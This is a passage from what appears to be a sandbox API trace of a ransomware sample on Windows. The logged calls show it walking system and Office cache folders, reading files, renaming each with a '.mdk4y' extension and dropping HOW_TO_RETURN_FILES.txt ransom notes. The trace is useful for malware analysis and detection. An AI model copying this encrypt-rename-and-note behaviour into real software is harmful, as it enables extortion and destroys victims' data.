lpWideCharStr="zh-TW", cchWideChar=5, lpMultiByteStr=0x6ae08c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e0f0 | out: lpMultiByteStr="zh-TW", lpUsedDefaultChar=0x37e0f0) returned 5 [0076.551] AreFileApisANSI () returned 1 [0076.551] GetACP () returned 0x4e4 [0076.551] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x37e110, cbMultiByte=14, lpWideCharStr=0x37de84, cchWideChar=260 | out: lpWideCharStr="C:\\Boot\\zh-TW\\䔠i7ൿł\x04") returned 14 [0076.551] AreFileApisANSI () returned 1 [0076.551] GetACP () returned 0x4e4 [0076.551] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37e064) returned 1 [0076.551] FindNextFileW (in: hFindFile=0x6ab210, lpFindFileData=0x6aaaa0 | out: lpFindFileData=0x6aaaa0) returned 1 [0076.551] AreFileApisANSI () returned 1 [0076.551] GetACP () returned 0x4e4 [0076.551] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37e064) returned 2 [0076.551] FindNextFileW (in: hFindFile=0x6ab210, lpFindFileData=0x6aaaa0 | out: lpFindFileData=0x6aaaa0) returned 1 [0076.551] AreFileApisANSI () returned 1 [0076.551] GetACP () returned 0x4e4 [0076.551] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr="bootmgr.exe.muiQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37e064) returned 15 [0076.551] CreateFileA (lpFileName="C:\\Boot\\zh-TW\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0076.551] FindNextFileW (in: hFindFile=0x6ab210, lpFindFileData=0x6aaaa0 | out: lpFindFileData=0x6aaaa0) returned 0 [0076.552] FindClose (in: hFindFile=0x6ab210 | out: hFindFile=0x6ab210) returned 1 [0076.552] AreFileApisANSI () returned 1 [0076.552] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x699928, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 38 [0076.552] CreateFileW (lpFileName="C:\\Boot\\zh-TW\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\boot\\zh-tw\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dd9c, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0076.552] GetFileType (hFile=0x124) returned 0x1 [0076.553] FindNextFileW (in: hFindFile=0x6ab1d0, lpFindFileData=0x6a8610 | out: lpFindFileData=0x6a8610) returned 0 [0076.553] FindClose (in: hFindFile=0x6ab1d0 | out: hFindFile=0x6ab1d0) returned 1 [0076.553] AreFileApisANSI () returned 1 [0076.553] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6a6b40, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 32 [0076.553] CreateFileW (lpFileName="C:\\Boot\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\boot\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37de28, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120 [0076.553] GetFileType (hFile=0x120) returned 0x1 [0076.554] FindNextFileW (in: hFindFile=0x6ab190, lpFindFileData=0x6a7180 | out: lpFindFileData=0x6a7180) returned 1 [0076.554] AreFileApisANSI () returned 1 [0076.554] GetACP () returned 0x4e4 [0076.554] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="bootmgr", cchWideChar=7, lpMultiByteStr=0x6a51dc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e17c | out: lpMultiByteStr="bootmgre.Bin", lpUsedDefaultChar=0x37e17c) returned 7 [0076.554] FindNextFileW (in: hFindFile=0x6ab190, lpFindFileData=0x6a7180 | out: lpFindFileData=0x6a7180) returned 1 [0076.554] AreFileApisANSI () returned 1 [0076.554] GetACP () returned 0x4e4 [0076.554] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BOOTSECT.BAK", cchWideChar=12, lpMultiByteStr=0x6a51dc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e17c | out: lpMultiByteStr="BOOTSECT.BAK", lpUsedDefaultChar=0x37e17c) returned 12 [0076.554] CreateFileA (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0076.555] FindNextFileW (in: hFindFile=0x6ab190, lpFindFileData=0x6a7180 | out: lpFindFileData=0x6a7180) returned 1 [0076.555] AreFileApisANSI () returned 1 [0076.555] GetACP () returned 0x4e4 [0076.555] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Config.Msi", cchWideChar=10, lpMultiByteStr=0x6a51dc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e17c | out: lpMultiByteStr="Config.MsiAK", lpUsedDefaultChar=0x37e17c) returned 10 [0076.555] AreFileApisANSI () returned 1 [0076.555] GetACP () returned 0x4e4 [0076.555] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x37e19c, cbMultiByte=14, lpWideCharStr=0x37df10, cchWideChar=260 | out: lpWideCharStr="C:\\Config.Msi\\j") returned 14 [0076.555] AreFileApisANSI () returned 1 [0076.555] GetACP () returned 0x4e4 [0076.555] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6ae08c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e0f0 | out: lpMultiByteStr=".", lpUsedDefaultChar=0x37e0f0) returned 1 [0076.555] FindNextFileW (in: hFindFile=0x6ab1d0, lpFindFileData=0x6aaaa0 | out: lpFindFileData=0x6aaaa0) returned 1 [0076.555] AreFileApisANSI () returned 1 [0076.555] GetACP () returned 0x4e4 [0076.555] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6ae08c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e0f0 | out: lpMultiByteStr="..S", lpUsedDefaultChar=0x37e0f0) returned 2 [0076.555] FindNextFileW (in: hFindFile=0x6ab1d0, lpFindFileData=0x6aaaa0 | out: lpFindFileData=0x6aaaa0) returned 0 [0076.555] FindClose (in: hFindFile=0x6ab1d0 | out: hFindFile=0x6ab1d0) returned 1 [0076.555] AreFileApisANSI () returned 1 [0076.555] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x699928, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 38 [0076.556] CreateFileW (lpFileName="C:\\Config.Msi\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\config.msi\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37de28, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120 [0076.556] GetFileType (hFile=0x120) returned 0x1 [0076.556] FindNextFileW (in: hFindFile=0x6ab190, lpFindFileData=0x6a7180 | out: lpFindFileData=0x6a7180) returned 1 [0076.557] AreFileApisANSI () returned 1 [0076.557] GetACP () returned 0x4e4 [0076.557] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Documents and Settings", cchWideChar=22, lpMultiByteStr=0x6a51dc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e17c | out: lpMultiByteStr="Documents and Settings\x13u`oj", lpUsedDefaultChar=0x37e17c) returned 22 [0076.557] AreFileApisANSI () returned 1 [0076.557] GetACP () returned 0x4e4 [0076.557] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6a6b40, cbMultiByte=26, lpWideCharStr=0x37df10, cchWideChar=260 | out: lpWideCharStr="C:\\Documents and Settings\\") returned 26 [0076.558] FindNextFileW (in: hFindFile=0x6ab190, lpFindFileData=0x6a7180 | out: lpFindFileData=0x6a7180) returned 1 [0076.558] AreFileApisANSI () returned 1 [0076.558] GetACP () returned 0x4e4 [0076.558] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="hiberfil.sys", cchWideChar=12, lpMultiByteStr=0x6a51dc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e17c | out: lpMultiByteStr="hiberfil.sysd Settings", lpUsedDefaultChar=0x37e17c) returned 12 [0076.558] CreateFileA (lpFileName="C:\\hiberfil.sys" (normalized: "c:\\hiberfil.sys"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0076.558] FindNextFileW (in: hFindFile=0x6ab190, lpFindFileData=0x6a7180 | out: lpFindFileData=0x6a7180) returned 1 [0076.558] AreFileApisANSI () returned 1 [0076.558] GetACP () returned 0x4e4 [0076.558] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSOCache", cchWideChar=8, lpMultiByteStr=0x6a51dc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e17c | out: lpMultiByteStr="MSOCache.sys", lpUsedDefaultChar=0x37e17c) returned 8 [0076.558] AreFileApisANSI () returned 1 [0076.558] GetACP () returned 0x4e4 [0076.558] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x37e19c, cbMultiByte=12, lpWideCharStr=0x37df10, cchWideChar=260 | out: lpWideCharStr="C:\\MSOCache\\") returned 12 [0076.558] AreFileApisANSI () returned 1 [0076.558] GetACP () returned 0x4e4 [0076.558] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6ae08c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e0f0 | out: lpMultiByteStr=".", lpUsedDefaultChar=0x37e0f0) returned 1 [0076.558] FindNextFileW (in: hFindFile=0x6ab1d0, lpFindFileData=0x6aaaa0 | out: lpFindFileData=0x6aaaa0) returned 1 [0076.558] AreFileApisANSI () returned 1 [0076.558] GetACP () returned 0x4e4 [0076.558] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6ae08c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e0f0 | out: lpMultiByteStr="..r", lpUsedDefaultChar=0x37e0f0) returned 2 [0076.558] FindNextFileW (in: hFindFile=0x6ab1d0, lpFindFileData=0x6aaaa0 | out: lpFindFileData=0x6aaaa0) returned 1 [0076.558] AreFileApisANSI () returned 1 [0076.558] GetACP () returned 0x4e4 [0076.558] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="All Users", cchWideChar=9, lpMultiByteStr=0x6ae08c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e0f0 | out: lpMultiByteStr="All Users", lpUsedDefaultChar=0x37e0f0) returned 9 [0076.558] AreFileApisANSI () returned 1 [0076.558] GetACP () returned 0x4e4 [0076.558] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6a6b40, cbMultiByte=22, lpWideCharStr=0x37de84, cchWideChar=260 | out: lpWideCharStr="C:\\MSOCache\\All Users\\") returned 22 [0076.560] AreFileApisANSI () returned 1 [0076.560] GetACP () returned 0x4e4 [0076.560] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr=".otefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37e064) returned 1 [0076.560] FindNextFileW (in: hFindFile=0x6ab210, lpFindFileData=0x6a9618 | out: lpFindFileData=0x6a9618) returned 1 [0076.561] AreFileApisANSI () returned 1 [0076.561] GetACP () returned 0x4e4 [0076.561] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr="..tefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37e064) returned 2 [0076.561] FindNextFileW (in: hFindFile=0x6ab210, lpFindFileData=0x6a9618 | out: lpFindFileData=0x6a9618) returned 1 [0076.561] AreFileApisANSI () returned 1 [0076.561] GetACP () returned 0x4e4 [0076.561] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{90140000-0016-0409-1000-0000000FF1CE}-C", cchWideChar=40, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr="{90140000-0016-0409-1000-0000000FF1CE}-CT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37e064) returned 40 [0076.561] AreFileApisANSI () returned 1 [0076.561] GetACP () returned 0x4e4 [0076.561] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6a4190, cbMultiByte=63, lpWideCharStr=0x37ddf8, cchWideChar=260 | out: lpWideCharStr="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ĺ\x1f") returned 63 [0076.562] AreFileApisANSI () returned 1 [0076.562] GetACP () returned 0x4e4 [0076.562] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr=".", lpUsedDefaultChar=0x37dfd8) returned 1 [0076.562] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6af688 | out: lpFindFileData=0x6af688) returned 1 [0076.562] AreFileApisANSI () returned 1 [0076.562] GetACP () returned 0x4e4 [0076.562] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="..a", lpUsedDefaultChar=0x37dfd8) returned 2 [0076.562] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6af688 | out: lpFindFileData=0x6af688) returned 1 [0076.562] AreFileApisANSI () returned 1 [0076.562] GetACP () returned 0x4e4 [0076.562] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ExcelLR.cab", cchWideChar=11, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="ExcelLR.cab", lpUsedDefaultChar=0x37dfd8) returned 11 [0076.562] CreateFileA (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0076.563] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815179300000) returned 1 [0076.563] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x100000, lpOverlapped=0x0) returned 1 [0076.682] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815191200000) returned 1 [0076.682] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815191200000) returned 1 [0076.701] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab.mdk4y" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab.mdk4y")) returned 1 [0076.704] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6af688 | out: lpFindFileData=0x6af688) returned 1 [0076.704] AreFileApisANSI () returned 1 [0076.704] GetACP () returned 0x4e4 [0076.704] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ExcelMUI.msi", cchWideChar=12, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="ExcelMUI.msiA", lpUsedDefaultChar=0x37dfd8) returned 12 [0076.704] CreateFileA (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0076.705] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815193500000) returned 1 [0076.705] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x100000, lpOverlapped=0x0) returned 1 [0076.766] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815199600000) returned 1 [0076.766] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815199600000) returned 1 [0076.802] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi.mdk4y" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi.mdk4y")) returned 1 [0076.803] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6af688 | out: lpFindFileData=0x6af688) returned 1 [0076.803] AreFileApisANSI () returned 1 [0076.803] GetACP () returned 0x4e4 [0076.803] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ExcelMUI.xml", cchWideChar=12, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="ExcelMUI.xml", lpUsedDefaultChar=0x37dfd8) returned 12 [0076.803] CreateFileA (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0076.803] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815203300000) returned 1 [0076.803] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x61d, lpOverlapped=0x0) returned 1 [0076.844] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815207400000) returned 1 [0076.844] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815207400000) returned 1 [0076.844] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml.mdk4y" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml.mdk4y")) returned 1 [0076.845] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6af688 | out: lpFindFileData=0x6af688) returned 1 [0076.845] AreFileApisANSI () returned 1 [0076.845] GetACP () returned 0x4e4 [0076.845] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="Setup.xmlxml", lpUsedDefaultChar=0x37dfd8) returned 9 [0076.845] CreateFileA (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0076.846] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815207600000) returned 1 [0076.846] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x8f8, lpOverlapped=0x0) returned 1 [0076.872] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815210200000) returned 1 [0076.872] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815210200000) returned 1 [0076.872] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml.mdk4y" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml.mdk4y")) returned 1 [0076.873] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6af688 | out: lpFindFileData=0x6af688) returned 0 [0076.873] FindClose (in: hFindFile=0x6ab290 | out: hFindFile=0x6ab290) returned 1 [0076.873] AreFileApisANSI () returned 1 [0076.873] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6aad08, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 87 [0076.873] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dd10, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0076.873] GetFileType (hFile=0x128) returned 0x1 [0076.874] FindNextFileW (in: hFindFile=0x6ab210, lpFindFileData=0x6a9618 | out: lpFindFileData=0x6a9618) returned 1 [0076.874] AreFileApisANSI () returned 1 [0076.874] GetACP () returned 0x4e4 [0076.874] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{90140000-0018-0409-1000-0000000FF1CE}-C", cchWideChar=40, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr="{90140000-0018-0409-1000-0000000FF1CE}-C", lpUsedDefaultChar=0x37e064) returned 40 [0076.874] AreFileApisANSI () returned 1 [0076.874] GetACP () returned 0x4e4 [0076.874] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6a4190, cbMultiByte=63, lpWideCharStr=0x37ddf8, cchWideChar=260 | out: lpWideCharStr="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\je") returned 63 [0076.876] AreFileApisANSI () returned 1 [0076.876] GetACP () returned 0x4e4 [0076.876] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr=".\\{90140000-0016-0409-1000-0000000FF1CE}-C\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37dfd8) returned 1 [0076.876] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6af688 | out: lpFindFileData=0x6af688) returned 1 [0076.876] AreFileApisANSI () returned 1 [0076.876] GetACP () returned 0x4e4 [0076.876] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="..{90140000-0016-0409-1000-0000000FF1CE}-C\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37dfd8) returned 2 [0076.876] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6af688 | out: lpFindFileData=0x6af688) returned 1 [0076.876] AreFileApisANSI () returned 1 [0076.876] GetACP () returned 0x4e4 [0076.876] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PowerPointMUI.msi", cchWideChar=17, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: 